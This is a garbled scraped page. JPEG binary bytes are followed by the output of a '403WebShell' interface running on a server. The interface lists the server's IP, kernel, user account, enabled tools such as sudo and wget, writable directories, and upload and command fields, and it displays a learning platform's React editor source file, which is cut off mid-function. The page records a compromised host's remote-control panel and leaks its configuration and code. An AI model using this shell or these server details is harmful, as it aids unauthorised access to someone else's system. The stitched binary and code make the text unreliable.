JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 45.32.152.128  /  Your IP : 216.73.216.105
Web Server : nginx/1.24.0
System : Linux stage-vultr 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : forge ( 1000)
PHP Version : 8.2.14
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/forge/lms.pdgm.dev/resources/app/Fragments/Editor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/forge/lms.pdgm.dev/resources/app/Fragments/Editor/Editor.tsx
import Img from '@/Components/Image';
import { MODALS, ModalsProvider } from '@/Components/Modals';
import { ModalsContext } from "@/Components/ModalsContext";
import Toggle from '@/Components/Toggle';
import EditorContextProvider, { EditorContext, uuidv4 } from '@/contexts/EditorContext';
import { useDebouncedCallback } from '@/hooks/useDebouncedCallback';
import usePrevious from '@/hooks/usePrevious';
import useThrottle from '@/hooks/useThrottle';
import { CloudArrowUp, CloudSlash, DotsSixVertical, Plus, X } from '@phosphor-icons/react';
import axios from 'axios';
import React, { useCallback, useContext, useEffect, useRef, useState } from 'react';
import ContentEditable, { Props as RCEProps } from 'react-contenteditable';
import { FileCard } from '../FileCard';
import { FormContext } from "../Form/FormContext";
import CommandMenu from './Commands/CommandMenu';
import EditMenu from './Commands/EditMenu';
import StyleMenu from './Commands/StyleMenu';
import { DnDContextProvider, DragContext, DraggableCard } from './DndContextProvider';
import Pdf from './pdf';


function EditorSection(props: EProps) {
    const { name, files_options } = props;
    const { blocks, addBlock, deleteBlock, addChild, setBlocks, selected, setSelected, undo, redo, pushState: pS, clearRedo, setInitialized } = useContext(EditorContext)
    const { setData, data } = useContext(FormContext);
    const { open, modal, close } = useContext(ModalsContext);

    const deleteSelected = useDebouncedCallback((e: KeyboardEvent) => {
        if (selected.length > 1 && (e.key == 'Backspace' || e.key === "Delete")) {
            e.preventDefault();
            for (const id of selected) {
                deleteBlock(id);
            }
            setSelected([]);
            // close();
        }

        if (e.key.toLowerCase() == 'z' && e.ctrlKey && e.shiftKey) {
            e.preventDefault();
            redo();
        }
        else if (e.key.toLowerCase() == 'z' && e.ctrlKey) {
            e.preventDefault();
            undo();
        }
        else if (!e.ctrlKey && !e.shiftKey) {
            clearRedo();
        }

    }, 100);

    const showStyles = (e) => {

        if (!props.readOnly) {

            setTimeout(() => {
                try {

                    let range = window?.getSelection()?.getRangeAt(0);
                    const contenteditable = document.getElementById("contenteditor");
                    const styles = document.getElementById("style-menu");

                    if ((range?.toString()?.length ?? 0) > 0 && range?.toString()?.charCodeAt(0) != 160 && e.target && contenteditable.contains(e.target)) {
                        let color = e.target.style.color ? e.target.style.color : 'black';
                        let bgcolor = e.target.style.backgroundColor ? e.target.style.backgroundColor : 'transparent';
                        let anchor = document.getElementById('editor-container').getBoundingClientRect();
                        let pos = getCaretCoordinates();

                        open(MODALS.STYLES, false, { position: { x: pos.x - anchor.x, y: pos.y - anchor.y }, currentColor: color, bgColor: bgcolor, });
                    }
                    else if (modal?.modal == MODALS.STYLES /* && !styles.contains(e.target) */) {
                        close();
                    }

                } catch (error) {
                    if (modal?.modal == MODALS.STYLES /* && !styles.contains(e.target) */)
                        close();
                }
            }, 100);


        }

    }

    useEffect(() => {
        document.addEventListener('keydown', deleteSelected);
        document.addEventListener('mouseup', showStyles);

        return () => {
            document.removeEventListener('keydown', deleteSelected);
            document.removeEventListener('mouseup', showStyles);
        }
    }, [selected, modal, undo, redo])

    const closeIfClicked = () => {
        if (modal?.modal == MODALS.EDITOR_EDIT || modal?.modal == MODALS.COMMANDS)
            close();
    }

    useEffect(() => {
        try {

            let blocks = (typeof (data[name] ?? []) == 'string' ? JSON.parse(data[name]) : data[name]);

            if (Array.isArray(blocks) && blocks.length > 0)
                setBlocks(blocks);
            else
                setBlocks([{ id: 1, content: '', Type: 'p' }]);

            setInitialized(true);

        } catch (error) {
            setBlocks([{ id: 1, content: typeof (data[name]) == 'string' ? data[name] : '', Type: 'p' }]);

            setInitialized(true);
        }

        return () => {

        }

    }, [])

    useEffect(() => {
        document.addEventListener('mousedown', closeIfClicked);
        return () => {
            document.removeEventListener('mousedown', closeIfClicked);
        }
    }, [modal])


    const pushState = useDebouncedCallback(
        useCallback((_blocks) => {
            pS(_blocks);
        }, [pS]
        ), 300
    )

    useEffect(() => {
        if (blocks && setData) {
            if (JSON.stringify(blocks) != JSON.stringify([{ id: 1, content: '', Type: 'p' }])) {
                setData(d => ({ ...d, [name]: blocks }));
                if (blocks.length > 0)
                    pushState(blocks);
            }
        }
    }, [blocks])


    const lastNotEmpty = () => {
        let _last = blocks?.[blocks.length - 1];
        if (!_last || _last?.content != '')
            addBlock()
        else {
            let t = _last.Type;
            deleteBlock(_last.id);
            addBlock(t);
        }
    }

    function prevent(e) {
        e.preventDefault();
        e.stopPropagation();
    }

    async function dropFile(e) {
        prevent(e);
        let droppedFiles = e?.dataTransfer?.files as FileList;
        if (droppedFiles) {

            var formData = new FormData();
            for (const file of droppedFiles) {
                formData.append("editor_files[]", file);
            }


            formData.append('model_type', files_options?.data?.model_type);
            formData.append('model_id', `${files_options?.data?.model_id}`);

            let stand_in = addChild(undefined, 'file', { uuid: 'placeholder', url: 'placeholder' });

            try {


                let response = await (await axios.post(files_options?.route, formData, {
                    headers: {
                        'Content-Type': 'multipart/form-data'
                    }
                })).data;

                let file = response.files?.[0] as _File;
                deleteBlock(stand_in);
                if (['png', 'jpg', 'jpeg', 'webp', 'gif'].includes(file.extension))
                    addChild(undefined, '🖼', { uuid: file.uuid, url: file.url });
                else if (['mp4', 'webm', 'mkv', 'avi', 'flv', 'mpeg'].includes(file.extension))
                    addChild(undefined, 'video', { uuid: file.uuid, url: file.url });
                else
                    addChild(undefined, 'file', { uuid: file.uuid, url: file.url });

            } catch (error) {
                deleteBlock(stand_in);
            }


        }

    };

    function encodeImageFileAsURL(files) {
        var file = files[0];
        var reader = new FileReader();
        reader.onloadend = function () {
            addChild(undefined, '🖼', reader.result);
        }
        reader.readAsDataURL(file);
    }

    return (
        <section
            id="contenteditor"
            className={`max-w-full  outline-none cursor-text h-full overflow-auto overflow-x-hidden pb-20px`}
            onClick={lastNotEmpty}
            onDrag={prevent}
            onDragStart={prevent}
            onDragEnd={prevent}
            onDragOver={prevent}
            onDragEnter={prevent}
            onDragLeave={prevent}
            onDrop={dropFile}
        >
            <DnDContextProvider<BlockType> keyName="id">
                <DragContext.Consumer>
                    {
                        ({ onMouseMove, onMouseUp, isDragging }) =>
                            <div onClick={e => e.stopPropagation()} onMouseMove={onMouseMove} onMouseUp={onMouseUp} className={`flex flex-col gap-4px relative ${isDragging && 'cursor-move'}`}>
                                {
                                    blocks?.filter(b => !b.parent_id && b.parent_id !== 0).map((b) =>
                                        <Block key={`block-wrap-${b.id}`} {...b} contenteditable={!props?.readOnly} />
                                    )
                                }
                            </div>
                    }
                </DragContext.Consumer>
            </DnDContextProvider>
        </section>
    );
}

export function getCaretCoordinates() {
    let x = 0,
        y = 0;
    const isSupported = typeof window.getSelection !== "undefined";
    if (isSupported) {
        const selection = window.getSelection();
        // Check if there is a selection (i.e. cursor in place)
        if (selection.rangeCount !== 0) {
            // Clone the range
            const range = selection.getRangeAt(0).cloneRange();
            // Collapse the range to the start, so there are not multiple chars selected
            range.collapse(true);
            // getCientRects returns all the positioning information we need
            const rect = range.getClientRects()[0];
            if (rect) {
                x = rect.left; // since the caret is only 1px wide, left == right
                y = rect.top; // top edge of the caret
            }
        }
    }
    return { x, y };
}

export function LoadingCard() {
    return (
        <div className="bg-app-gray-F2F2F2 rounded p-8px flex gap-12px mb-12px cursor-pointer animate-pulse">
            <div className="w-48px h-48px rounded-full bg-app-lighter text-white flex items-center justify-center"><CloudArrowUp /></div>
            <div className="flex items-center">
                <div className="flex gap-12px ">Uploading...</div>
            </div>
        </div>
    );
}

const errorMessage = `Archive should have the following structure (important parts colored):
<b class="text-app-orange-DF793F">example</b>.zip => [
    <b class="text-app-orange-DF793F">example</b>/ <i class="text-app-orange-E8B941">(same name as archive)</i>
        - images/
        - libs/
        - <b class="text-app-purple-8400d1">index.html</b>
        - NG-example_html.js
]`;

export function ErrorCard({ errors, id }) {
    const { deleteBlock } = useContext(EditorContext);

    return (
        <div className="bg-app-gray-F2F2F2 rounded p-8px flex gap-12px mb-12px cursor-pointer animate-pulse w-full">
            <div className="w-48px h-48px rounded-full bg-app-red/20 text-white flex items-center justify-center flex-shrink-0"><CloudSlash /></div>
            <div className="flex items-center flex-col gap-8px justify-center pr-64px">
                {
                    errors?.map(e =>
                        <div className="flex flex-col gap-12px text-app-black">
                            <div className="text-app-red font-semibold">{e}</div>
                            {
                                (e == 'Archive is not in the correct format.') &&
                                <pre dangerouslySetInnerHTML={{ __html: errorMessage }} />
                            }
                        </div>
                    )
                }
            </div>
            <X size={32} className='absolute right-8px top-8px hover:text-app-red p-6px rounded-full hover:bg-app-red/20' onClick={_ => deleteBlock(id)} />
        </div>
    );
}

export function FileLoad({ children, files, _content, id }) {
    let file = files?.find(f => f.uuid == (_content as any)?.uuid) ?? (_content?.errors ? null : _content?.url);

    return (
        file
            ? children
            : (
                (_content?.errors?.length ?? 0) > 0
                    ? <ErrorCard errors={_content?.errors} id={id} />
                    : <LoadingCard />
            )
    )
}


const setCaretToEnd = (element) => {
    try {
        const range = document?.createRange();
        const selection = window?.getSelection();
        range.selectNodeContents(element);
        range.collapse(false);
        selection.removeAllRanges();
        selection.addRange(range);
        element.focus();
    } catch (error) {

    }
};

function getElementIndex(element) {
    return [].indexOf.call(element.parentNode.children, element);
}

function Block(props: BlockType) {

    const { Type, content, id, parent_id, options, contenteditable: ced } = props;
    const { setBlocks, blocks, addBlock, updateBlock, deleteBlock, addChild, turnInto, files_options, selected, setSelected, initialized, shouldFocus, setShouldFocus } = useContext(EditorContext);
    const files = files_options?.files;
    const { open, close, modal } = useContext(ModalsContext);
    const [dragging, setDragging] = useState(false);
    const [contenteditable, setContentEditable] = useState(ced);

    const children = blocks.filter(b => b.parent_id == id);

    const block_ref = useRef(null)
    const container_ref = useRef(null)

    const processInput = (e) => {
        if (Type != '🖼' && Type != 'file' && Type != 'video') {
            let value = e?.target?.value;
            updateBlock(id, value);
        }
    }

    const onKeyDown = (e) => {

        if (['UL', 'OL'].includes(Type))
            return;


        if (e.key === "Enter" && !e.shiftKey) {
            e.preventDefault();

            let b = blocks.find(b => b.id == id);

            if (modal?.modal == MODALS.COMMANDS)
                return;

            if (Type != 'P' && Type != '▼' && b.content == '') {
                let p = blocks.find(b => b.id == parent_id);
                turnInto(id, 'P');
                // deleteBlock(id);
                // addChild(p?.parent_id, 'P', '', parent_id);
                return;
            }

            switch (Type.toLowerCase()) {
                case '▼':
                    addChild(id, 'P', '', id);
                    updateBlock(id, b.content, { ...(b?.options ?? {}), open: true })
                    break;
                case 'ul':
                case 'ol':
                    break;
                case 'li':
                case '☐':
                    addChild(parent_id, Type, '', id);
                    break;
                default:
                    addChild(parent_id, 'P', '', id);
                    break;
            }

        }

        if (e.key === "Backspace" || e.key === "Delete") {
            let ct = blocks.find(b => b.id == id).content;

            if (ct == '' || (Type == '🖼' || Type == 'file' || Type == "video")) {
                e.preventDefault();
                let row = block_ref?.current?.closest('.row-container');
                let previous = row?.previousElementSibling?.getElementsByClassName('content-editable')?.[0] as HTMLElement;
                if (previous) {
                    previous?.focus();
                    setCaretToEnd(previous);
                }
                deleteBlock(id);
                close();
            }
            else if (typeof ct == 'string' && ct?.endsWith('/'))
                close();

        }

        if (Type == '🖼' || Type == 'file' || Type == "video") {
            e.preventDefault();
            return;
        }

        if (e.key === "/") {
            // e.stopPropagation();
            let span = document.createElement('span');
            e.target.appendChild(span);
            let pos = span.getBoundingClientRect();
            let anchor = document.getElementById('editor-container').getBoundingClientRect();
            span.remove();
            let b = blocks.find(b => b.id == id);
            open(MODALS.COMMANDS, false, { position: { x: pos.x - anchor.x, y: pos.y - anchor.y }, block: { ...b } })
        }



    }

    const [wasPasted, setWasPasted] = useState(false)

    const onPaste = (e) => {
        setWasPasted(true);
        // e.preventDefault();
        
        // const el = document.createElement('div')

        // document.body.appendChild(el);
        // ReactDOM.render( <CE id="pasteholder" contentEditable html={ e.clipboardData.getData('text')} />, el );
        // const pasted = document.getElementById('pasteholder');
       
    }

    const createFromPaste = (el: Element, parent_id: number | null = null) => {
        if (el.tagName) {

            let is_toggle = el.children?.[0]?.tagName == 'P' && el.children?.[1]?.tagName == 'UL' && !el.children?.[2];

            let text = Array.prototype.filter
                .call((is_toggle ? el.children?.[0].childNodes : el.childNodes), (child) => child.nodeType === Node.TEXT_NODE)
                .map((child) => child.textContent)
                .join('')
                .trim();



